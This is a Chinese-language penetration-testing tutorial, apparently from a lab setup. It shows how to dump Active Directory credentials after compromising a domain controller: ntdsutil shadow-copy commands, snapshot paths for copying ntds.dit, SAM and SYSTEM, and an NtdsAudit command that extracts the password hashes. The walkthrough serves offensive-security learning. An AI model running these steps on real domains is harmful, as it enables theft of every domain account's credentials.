环境说明
| IP | HOSTNAME | NOTE |
|---|
| 172.16.106.71 | KC360_WIN2012_1 | 域控 |
| 172.16.100.52 | Windows 10 | 域内主机 |
| 172.16.106.69 | KC360_WIN2008_1 | 域内主机 |
前言
- 在内网渗透过程中,当攻击者拿下域控以后,就可以尝试获取域内密码凭证等信息,这时首先需要获取三个文件,如下列表所示:
| 文件名称 | 描述 | 文件存放路径 |
|---|
| ntds.dit | 活动目录数据库文件,包括与域内用户、组和组成员身份的各种相关信息。 | %SystemRoot%\NTDS\ntds.dit |
| SAM | 存储本地账户的密码哈希 | %SystemRoot%\System32\config\SAM |
| SYSTEM | 使用存储在SYSTEM注册表配置单元中的密钥对上述哈希值进行加密,因此破解SAM和ntds.dit文件都需要它 | %SystemRoot%\System32\config\SYSTEM |
- 有了这三个文件,我们再借助 NtdsAudit 来破解其密码哈希获取域内凭证信息。
攻击过程
什么是卷影复制
- 卷影复制服务(Volume Shadow Copy Service)是微软Windows的一项组件服务,从Windows XP开始支持。
- 作用:通过它我们可以创建某个时间点的副本(简单理解为磁盘快照吧)。
通过卷影复制获取关键文件
- 前言中提到我们需要ntds.dit、SAM、SYSTEM三个文件,但是Windows禁止对这三个文件进行复制和读取,因此我们可以通过采取卷影复制的手段来获取它们。
- 在域环境下默认提供了ntdsutil工具方便我们使用卷影复制的功能。
- 首先我们创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit

- 这里我们得到快照ID:b3702cda-e8ba-4fdf-94c8-b3666bdacf70,然后我们使用该ID挂载快照。
ntdsutil snapshot "mount {b3702cda-e8ba-4fdf-94c8-b3666bdacf70}" quit quit

- 然后我们从以下路径将三个文件复制到E:\credential目录下:
C:\$SNAP_202202091543_VOLUMEC$\Windows\NTDS\ntds.dit
C:\$SNAP_202202091543_VOLUMEC$\Windows\System32\config\SAM
C:\$SNAP_202202091543_VOLUMEC$\Windows\System32\config\SYSTEM

ntdsutil snapshot "unmount {b3702cda-e8ba-4fdf-94c8-b3666bdacf70}" quit quit
ntdsutil snapshot "delete {b3702cda-e8ba-4fdf-94c8-b3666bdacf70}" quit quit

尝试NtdsAudit提取凭证信息
- 由于在Windows Server 2012上使用该工具时报错,暂时没有解决,所以将文件都复制到了本地WIN10个人主机上执行。
NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv


